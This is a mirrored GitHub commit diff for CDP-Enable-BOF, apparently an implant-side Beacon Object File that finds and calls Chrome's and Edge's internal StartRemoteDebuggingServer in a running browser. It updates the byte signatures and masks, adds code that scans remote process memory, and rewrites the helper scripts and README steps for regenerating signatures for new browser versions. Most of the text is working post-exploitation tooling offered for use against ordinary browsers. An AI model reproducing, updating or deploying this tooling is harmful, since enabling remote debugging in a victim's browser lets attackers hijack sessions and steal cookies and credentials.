mirror of
https://github.com/KingOfTheNOPs/CDP-Enable-BOF
synced 2026-06-29 08:59:28 +00:00
Updated signatures, helper scripts, and README
This commit is contained in:
@@ -58,23 +58,27 @@ Cause: Edge version mismatch - signatures are version-specific
|
||||
Solution: See "Finding New Signatures" below
|
||||
|
||||
Tested Chrome Version: 147.0.7727.102
|
||||
Tested Edge Version: 147.0.3912.72
|
||||
Tested Edge Version: 147.0.3912.98
|
||||
|
||||
## Finding New Signatures
|
||||
|
||||
The finder scripts are still included because they are useful for:
|
||||
These scripts are used to find new signatures and supporting runtime inputs for
|
||||
updated browser versions:
|
||||
|
||||
- validating new signatures
|
||||
- checking symbol drift across browser versions
|
||||
- reverse engineering / troubleshooting
|
||||
- `StartRemoteDebuggingServer`
|
||||
- `operator new`
|
||||
- `TCPServerSocketFactory::CreateForHttpServer`
|
||||
- derived `TCPServerSocketFactory` vtable information
|
||||
|
||||
### Pull the DLLs
|
||||
|
||||
Typical browser DLL locations:
|
||||
Copy the DLL from the browser build you are targeting into the working
|
||||
directory. On this machine, the installed DLLs live under versioned
|
||||
subdirectories:
|
||||
|
||||
```powershell
|
||||
Copy-Item "$env:ProgramFiles\\Google\\Chrome\\Application\\chrome.dll" .
|
||||
Copy-Item "${env:ProgramFiles(x86)}\\Microsoft\\Edge\\Application\\msedge.dll" .
|
||||
Copy-Item "C:\Program Files\Google\Chrome\Application\147.0.7727.138\chrome.dll" .
|
||||
Copy-Item "C:\Program Files (x86)\Microsoft\Edge\Application\147.0.3912.98\msedge.dll" .
|
||||
```
|
||||
|
||||
### Pull the matching PDBs
|
||||
@@ -96,23 +100,86 @@ symchk /v /ocx edge-symchk.txt /s SRV*c:\symbols*https://msdl.microsoft.com/down
|
||||
Find `StartRemoteDebuggingServer`:
|
||||
|
||||
```powershell
|
||||
python .\find_start_server.py .\chrome.dll .\chrome.dll.pdb
|
||||
python .\find_start_server.py .\msedge.dll .\msedge.dll.pdb
|
||||
python .\find_start_server.py .\chrome.dll <full path to chrome.dll.pdb>
|
||||
python .\find_start_server.py .\msedge.dll <full path to msedge.dll.pdb>
|
||||
```
|
||||
|
||||
Example Edge output:
|
||||
|
||||
```json
|
||||
{
|
||||
"binary": "C:\\Users\\antrovmp\\Desktop\\CDP-Enable-BOF\\msedge.dll",
|
||||
"pdb": "c:\\symbols\\msedge.dll.pdb\\23DB3E4A1AB4F3B44C4C44205044422E1\\msedge.dll.pdb",
|
||||
"symbol": "?StartRemoteDebuggingServer@DevToolsAgentHost@content@@SAXV?$unique_ptr@VDevToolsSocketFactory@content@@U?$default_delete@VDevToolsSocketFactory@content@@@__Cr@std@@@__Cr@std@@AEBVFilePath@base@@1W4RemoteDebuggingServerMode@12@@Z",
|
||||
"signature_rva": "0x0321EAC2",
|
||||
"signature_va": "0x000000018321EAC2",
|
||||
"signature_length": 30,
|
||||
"signature_hex": "41 57 41 56 41 54 56 57 55 53 48 83 EC 50 44 89 CD 4C 89 C3 48 89 D7 48 89 CE 48 8B 05 5D",
|
||||
"signature_c_initializer": "0x41, 0x57, 0x41, 0x56, 0x41, 0x54, 0x56, 0x57, 0x55, 0x53, 0x48, 0x83, 0xEC, 0x50, 0x44, 0x89, 0xCD, 0x4C, 0x89, 0xC3, 0x48, 0x89, 0xD7, 0x48, 0x89, 0xCE, 0x48, 0x8B, 0x05, 0x5D",
|
||||
"copy_to_code": "Use this for EDGE_START_SIG if analyzing msedge.dll, or CHROME_START_SIG if analyzing chrome.dll.",
|
||||
"text_hits": 1
|
||||
}
|
||||
```
|
||||
|
||||
Copy `signature_c_initializer` into the start signature array in
|
||||
`cdp_enable_bof.c`:
|
||||
|
||||
- Edge: `EDGE_START_SIG` at line 168
|
||||
- Edge mask: `EDGE_START_MASK` at line 181
|
||||
- Chrome: `CHROME_START_SIG` at line 194
|
||||
- Chrome mask: `CHROME_START_MASK` at line 207
|
||||
|
||||
For Edge, replace the bytes in `EDGE_START_SIG` with the new
|
||||
`signature_c_initializer`. For Chrome, do the same with `CHROME_START_SIG`.
|
||||
|
||||
Find the supporting inputs:
|
||||
|
||||
```powershell
|
||||
python .\find_cdp_inputs.py .\chrome.dll .\chrome.dll.pdb
|
||||
python .\find_cdp_inputs.py .\msedge.dll .\msedge.dll.pdb
|
||||
python .\find_cdp_inputs.py .\chrome.dll <full path to chrome.dll.pdb>
|
||||
python .\find_cdp_inputs.py .\msedge.dll <full path to msedge.dll.pdb>
|
||||
```
|
||||
|
||||
These scripts emit:
|
||||
Example Edge output:
|
||||
|
||||
- `StartRemoteDebuggingServer`
|
||||
- `operator new`
|
||||
- `TCPServerSocketFactory::CreateForHttpServer`
|
||||
- derived `TCPServerSocketFactory` vtable
|
||||
```json
|
||||
{
|
||||
"binary": "msedge.dll",
|
||||
"operator_new": {
|
||||
"rva": "0x036335D8",
|
||||
"va": "0x00000001836335D8",
|
||||
"signature": "40 53 48 83 EC 20 48 8B D9 EB ?? 48 8B CB E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B CB",
|
||||
"copy_to_code": "OPERATOR_NEW_SIG"
|
||||
},
|
||||
"tcp_server_socket_factory": {
|
||||
"create_for_http_server": {
|
||||
"rva": "0x016C7310",
|
||||
"va": "0x00000001816C7310",
|
||||
"signature_hex": "48 89 D0 0F B7 51 08 48",
|
||||
"signature_c_initializer": "0x48, 0x89, 0xD0, 0x0F, 0xB7, 0x51, 0x08, 0x48",
|
||||
"copy_to_code": "EDGE_ENTRY1_SIG",
|
||||
"vtable_rva": "0x0FBDCA70",
|
||||
"vtable_va": "0x000000018FBDCA70"
|
||||
},
|
||||
"layout": {
|
||||
"size": 16,
|
||||
"vtable_offset": 0,
|
||||
"port_offset": 8
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Important fields and where they go:
|
||||
|
||||
- `operator_new.copy_to_code` -> `OPERATOR_NEW_SIG` at line 221
|
||||
- `tcp_server_socket_factory.create_for_http_server.copy_to_code` ->
|
||||
`EDGE_ENTRY1_SIG` at line 242 or `CHROME_ENTRY1_SIG` at line 246
|
||||
- `tcp_server_socket_factory.layout` is a sanity check for the object layout the
|
||||
BOF expects: size `16`, vtable offset `0`, port offset `8`
|
||||
|
||||
The script also derives the TCPServerSocketFactory vtable location. The BOF
|
||||
still resolves that through the `VTABLE_ENTRY0_SIG` / `VTABLE_ENTRY0_MASK`
|
||||
helper at lines 228 and 234 if that helper drifts.
|
||||
|
||||
## Notes
|
||||
|
||||
|
||||
Binary file not shown.
+85
-7
@@ -170,7 +170,25 @@ static const uint8_t EDGE_START_SIG[] = {
|
||||
0x55, 0x53, 0x48, 0x83, 0xEC, 0x50,
|
||||
0x44, 0x89, 0xCD, 0x4C, 0x89, 0xC3,
|
||||
0x48, 0x89, 0xD7, 0x48, 0x89, 0xCE,
|
||||
0x48, 0x8B, 0x05, 0x5D
|
||||
0x48, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00,
|
||||
0x48, 0x31, 0xE0, 0x48, 0x89, 0x44, 0x24, 0x48,
|
||||
0xE8, 0x00, 0x00, 0x00, 0x00,
|
||||
0x4C, 0x8B, 0x70, 0x08, 0x4D, 0x85, 0xF6, 0x0F, 0x84,
|
||||
0x00, 0x00, 0x00, 0x00,
|
||||
0xB9, 0x90, 0x00, 0x00, 0x00
|
||||
};
|
||||
|
||||
static const uint8_t EDGE_START_MASK[] = {
|
||||
1,1,1,1,1,1,1,1,
|
||||
1,1,1,1,1,1,
|
||||
1,1,1,1,1,1,
|
||||
1,1,1,1,1,1,
|
||||
1,1,1,0,0,0,0,
|
||||
1,1,1,1,1,1,1,1,
|
||||
1,0,0,0,0,
|
||||
1,1,1,1,1,1,1,1,1,
|
||||
0,0,0,0,
|
||||
1,1,1,1,1
|
||||
};
|
||||
|
||||
static const uint8_t CHROME_START_SIG[] = {
|
||||
@@ -178,7 +196,12 @@ static const uint8_t CHROME_START_SIG[] = {
|
||||
0x48, 0x83, 0xEC, 0x48,
|
||||
0x44, 0x89, 0xCD, 0x4D, 0x89, 0xC6,
|
||||
0x48, 0x89, 0xD3, 0x48, 0x89, 0xCE,
|
||||
0x48, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00
|
||||
0x48, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00,
|
||||
0x48, 0x31, 0xE0, 0x48, 0x89, 0x44, 0x24, 0x40, 0xE8,
|
||||
0x00, 0x00, 0x00, 0x00,
|
||||
0x4C, 0x8B, 0x78, 0x08, 0x4D, 0x85, 0xFF, 0x0F, 0x84,
|
||||
0xE8, 0x00, 0x00, 0x00,
|
||||
0xB9, 0x90, 0x00, 0x00, 0x00
|
||||
};
|
||||
|
||||
static const uint8_t CHROME_START_MASK[] = {
|
||||
@@ -186,7 +209,12 @@ static const uint8_t CHROME_START_MASK[] = {
|
||||
1,1,1,1,
|
||||
1,1,1,1,1,1,
|
||||
1,1,1,1,1,1,
|
||||
1,1,1,0,0,0,0
|
||||
1,1,1,0,0,0,0,
|
||||
1,1,1,1,1,1,1,1,1,
|
||||
0,0,0,0,
|
||||
1,1,1,1,1,1,1,1,1,
|
||||
1,1,1,1,
|
||||
1,1,1,1,1
|
||||
};
|
||||
|
||||
/* Short unique operator new signature. */
|
||||
@@ -437,6 +465,50 @@ static void* ScanRemoteForSignature(HANDLE hProcess, uint8_t* start, SIZE_T size
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static int CountRemoteSignatureHits(HANDLE hProcess, uint8_t* start, SIZE_T size,
|
||||
const uint8_t* sig, const uint8_t* mask, SIZE_T sig_len,
|
||||
uintptr_t* first_hit) {
|
||||
const SIZE_T chunk = 0x10000;
|
||||
SIZE_T offset = 0;
|
||||
int count = 0;
|
||||
uint8_t* buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, chunk + sig_len);
|
||||
if (!buf) return 0;
|
||||
|
||||
if (first_hit) *first_hit = 0;
|
||||
|
||||
while (offset < size) {
|
||||
SIZE_T to_read = size - offset;
|
||||
SIZE_T read = 0, end, i;
|
||||
if (to_read > chunk) to_read = chunk;
|
||||
|
||||
if (!ReadProcessMemory(hProcess, start + offset, buf, to_read, &read) || read < sig_len) {
|
||||
offset += chunk;
|
||||
continue;
|
||||
}
|
||||
|
||||
end = read - sig_len;
|
||||
for (i = 0; i <= end; i++) {
|
||||
BOOL match = TRUE;
|
||||
SIZE_T j;
|
||||
for (j = 0; j < sig_len && match; j++) {
|
||||
if (!mask || mask[j]) {
|
||||
if (buf[i + j] != sig[j]) match = FALSE;
|
||||
}
|
||||
}
|
||||
if (match) {
|
||||
if (count == 0 && first_hit) {
|
||||
*first_hit = (uintptr_t)(start + offset + i);
|
||||
}
|
||||
count++;
|
||||
}
|
||||
}
|
||||
offset += chunk;
|
||||
}
|
||||
|
||||
HeapFree(GetProcessHeap(), 0, buf);
|
||||
return count;
|
||||
}
|
||||
|
||||
static int ScanRemoteForAllSignatures(HANDLE hProcess, uint8_t* start, SIZE_T size,
|
||||
const uint8_t* sig, const uint8_t* mask, SIZE_T sig_len,
|
||||
uint64_t* out_matches, int max_matches) {
|
||||
@@ -561,17 +633,23 @@ static BOOL ResolveSymbolsRuntime(HANDLE hProcess, uintptr_t module_base, const
|
||||
void* entry1 = NULL;
|
||||
uint64_t destr_addrs[32];
|
||||
int destr_count = 0;
|
||||
int start_hits = 0;
|
||||
|
||||
if (!GetRemoteSectionInfo(hProcess, (uint8_t*)module_base, &text_base, &text_size, &rdata_base, &rdata_size)) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "[-] Failed to read remote PE sections");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
*start_server = (uintptr_t)ScanRemoteForSignature(hProcess, text_base, text_size, target->start_sig, target->start_mask, target->start_sig_len);
|
||||
if (!*start_server) {
|
||||
start_hits = CountRemoteSignatureHits(
|
||||
hProcess, text_base, text_size, target->start_sig, target->start_mask, target->start_sig_len, start_server);
|
||||
if (start_hits == 0 || !*start_server) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "[-] StartRemoteDebuggingServer signature not found");
|
||||
return FALSE;
|
||||
}
|
||||
if (start_hits != 1) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "[-] StartRemoteDebuggingServer signature was not unique (hits=%d)", start_hits);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
*chrome_new = (uintptr_t)ScanRemoteForSignature(hProcess, text_base, text_size, OPERATOR_NEW_SIG, OPERATOR_NEW_MASK, sizeof(OPERATOR_NEW_SIG));
|
||||
if (!*chrome_new) {
|
||||
@@ -602,7 +680,7 @@ static BOOL ResolveSymbolsRuntime(HANDLE hProcess, uintptr_t module_base, const
|
||||
|
||||
void go(char* args, int len) {
|
||||
TARGET_CFG targets[] = {
|
||||
{ "edge", L"msedge.exe", L"msedge.dll", EDGE_START_SIG, NULL, sizeof(EDGE_START_SIG), EDGE_ENTRY1_SIG, NULL, sizeof(EDGE_ENTRY1_SIG) },
|
||||
{ "edge", L"msedge.exe", L"msedge.dll", EDGE_START_SIG, EDGE_START_MASK, sizeof(EDGE_START_SIG), EDGE_ENTRY1_SIG, NULL, sizeof(EDGE_ENTRY1_SIG) },
|
||||
{ "chrome", L"chrome.exe", L"chrome.dll", CHROME_START_SIG, CHROME_START_MASK, sizeof(CHROME_START_SIG), CHROME_ENTRY1_SIG, CHROME_ENTRY1_MASK, sizeof(CHROME_ENTRY1_SIG) }
|
||||
};
|
||||
datap parser;
|
||||
@@ -797,4 +875,4 @@ void go(char* args, int len) {
|
||||
HeapFree(GetProcessHeap(), 0, local_page);
|
||||
VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
}
|
||||
+10
-1
@@ -13,7 +13,7 @@ import pefile
|
||||
ROOT = Path(__file__).resolve().parent
|
||||
sys.path.insert(0, str(ROOT))
|
||||
|
||||
from pe_signature_finder import analyze_symbols, demangle_symbol # type: ignore
|
||||
from pe_signature_finder import analyze_symbols, demangle_symbol, format_bytes # type: ignore
|
||||
|
||||
|
||||
# From the current CDP-Enabler project: the Chrome/Edge allocator used for the
|
||||
@@ -47,6 +47,10 @@ def find_unique_regex(pattern: bytes, data: bytes) -> int:
|
||||
return matches[0]
|
||||
|
||||
|
||||
def format_c_initializer(data: bytes) -> str:
|
||||
return ", ".join(f"0x{b:02X}" for b in data)
|
||||
|
||||
|
||||
def choose_tcp_factory_entry1(pe_path: Path, pdb_path: Path):
|
||||
with contextlib.redirect_stderr(io.StringIO()):
|
||||
results = list(
|
||||
@@ -114,15 +118,20 @@ def main():
|
||||
"rva": f"0x{operator_new_rva:08X}",
|
||||
"va": f"0x{image_base + operator_new_rva:016X}",
|
||||
"signature": OPERATOR_NEW_SIGNATURE,
|
||||
"copy_to_code": "OPERATOR_NEW_SIG",
|
||||
},
|
||||
"tcp_server_socket_factory": {
|
||||
"create_for_http_server": {
|
||||
"rva": f"0x{entry1_rva:08X}",
|
||||
"va": f"0x{entry1_va:016X}",
|
||||
"signature_hex": format_bytes(entry1_sig),
|
||||
"signature_c_initializer": format_c_initializer(entry1_sig),
|
||||
"copy_to_code": "EDGE_ENTRY1_SIG" if args.pe.name.lower() == "msedge.dll" else "CHROME_ENTRY1_SIG",
|
||||
"derived_vtable_entry1_candidates": [f"0x{candidate:08X}" for candidate in vtable_candidates],
|
||||
"vtable_entry1_rva": f"0x{vtable_entry1_rva:08X}",
|
||||
"vtable_rva": f"0x{vtable_entry1_rva - 8:08X}",
|
||||
"vtable_va": f"0x{image_base + vtable_entry1_rva - 8:016X}",
|
||||
"note": "The script emits the CreateForHttpServer function signature and derives the vtable location. The PIC code still uses VTABLE_ENTRY0_SIG / VTABLE_ENTRY0_MASK for vtable matching if that helper drifts.",
|
||||
},
|
||||
"layout": {
|
||||
"size": 16,
|
||||
|
||||
+24
-39
@@ -14,16 +14,9 @@ sys.path.insert(0, str(ROOT))
|
||||
|
||||
from pe_signature_finder import analyze_symbols, format_bytes # type: ignore
|
||||
|
||||
KNOWN_START_SERVER_SIGNATURES = {
|
||||
"msedge.dll": bytes.fromhex(
|
||||
"41 57 41 56 41 54 56 57 55 53 48 83 EC 50 "
|
||||
"44 89 CD 4C 89 C3 48 89 D7 48 89 CE 48 8B 05 9D"
|
||||
),
|
||||
"chrome.dll": bytes.fromhex(
|
||||
"41 57 41 56 56 57 55 53 48 83 EC 48 "
|
||||
"44 89 CD 4D 89 C6 48 89 D3 48 89 CE 48 8B 05 41"
|
||||
),
|
||||
}
|
||||
|
||||
def format_c_initializer(data: bytes) -> str:
|
||||
return ", ".join(f"0x{b:02X}" for b in data)
|
||||
|
||||
|
||||
def load_text_section(pe_path: Path):
|
||||
@@ -48,25 +41,8 @@ def main():
|
||||
args = parser.parse_args()
|
||||
|
||||
pe, _text_section, text_data = load_text_section(args.pe)
|
||||
|
||||
known_sig = KNOWN_START_SERVER_SIGNATURES.get(args.pe.name.lower())
|
||||
if known_sig is None:
|
||||
raise SystemExit(f"no built-in signature for {args.pe.name}; provide a PDB for ground truth")
|
||||
|
||||
pattern_hits = [m.start() for m in re.finditer(re.escape(known_sig), text_data)]
|
||||
if len(pattern_hits) != 1:
|
||||
raise SystemExit(f"expected exactly one StartRemoteDebuggingServer signature hit, got {len(pattern_hits)}")
|
||||
|
||||
matched_offset = pattern_hits[0]
|
||||
matched_rva = _text_section.VirtualAddress + matched_offset
|
||||
|
||||
output = {
|
||||
"binary": str(args.pe),
|
||||
"signature_rva": f"0x{matched_rva:08X}",
|
||||
"signature_va": f"0x{pe.OPTIONAL_HEADER.ImageBase + matched_rva:016X}",
|
||||
"signature_length": len(known_sig),
|
||||
"signature_hex": format_bytes(known_sig),
|
||||
"text_hits": 1,
|
||||
}
|
||||
|
||||
if args.pdb:
|
||||
@@ -77,21 +53,30 @@ def main():
|
||||
str(args.pdb),
|
||||
"*StartRemoteDebuggingServer*",
|
||||
min_sig=8,
|
||||
max_sig=64,
|
||||
max_sig=80,
|
||||
)
|
||||
)
|
||||
good = [r for r in results if r.signature and r.match_count == 1]
|
||||
if good:
|
||||
result = good[0]
|
||||
signature = result.signature
|
||||
assert signature is not None
|
||||
output["pdb"] = str(args.pdb)
|
||||
output["symbol"] = result.symbol.name
|
||||
output["pdb_rva"] = f"0x{result.symbol.rva:08X}"
|
||||
output["pdb_va"] = f"0x{pe.OPTIONAL_HEADER.ImageBase + result.symbol.rva:016X}"
|
||||
output["pdb_signature_hex"] = format_bytes(signature)
|
||||
output["pdb_signature_text_hits"] = verify_unique(signature, text_data)
|
||||
output["signature_matches_pdb_rva"] = matched_rva == result.symbol.rva
|
||||
if not good:
|
||||
raise SystemExit("failed to derive a unique StartRemoteDebuggingServer signature from the PDB")
|
||||
|
||||
result = good[0]
|
||||
signature = result.signature
|
||||
assert signature is not None
|
||||
output["pdb"] = str(args.pdb)
|
||||
output["symbol"] = result.symbol.name
|
||||
output["signature_rva"] = f"0x{result.symbol.rva:08X}"
|
||||
output["signature_va"] = f"0x{pe.OPTIONAL_HEADER.ImageBase + result.symbol.rva:016X}"
|
||||
output["signature_length"] = len(signature)
|
||||
output["signature_hex"] = format_bytes(signature)
|
||||
output["signature_c_initializer"] = format_c_initializer(signature)
|
||||
output["copy_to_code"] = (
|
||||
"Use this for EDGE_START_SIG if analyzing msedge.dll, or CHROME_START_SIG if analyzing chrome.dll."
|
||||
)
|
||||
output["text_hits"] = verify_unique(signature, text_data)
|
||||
|
||||
else:
|
||||
raise SystemExit("a matching PDB is required")
|
||||
|
||||
print(json.dumps(output, indent=2))
|
||||
|
||||
|
||||
Binary file not shown.
Reference in New Issue
Block a user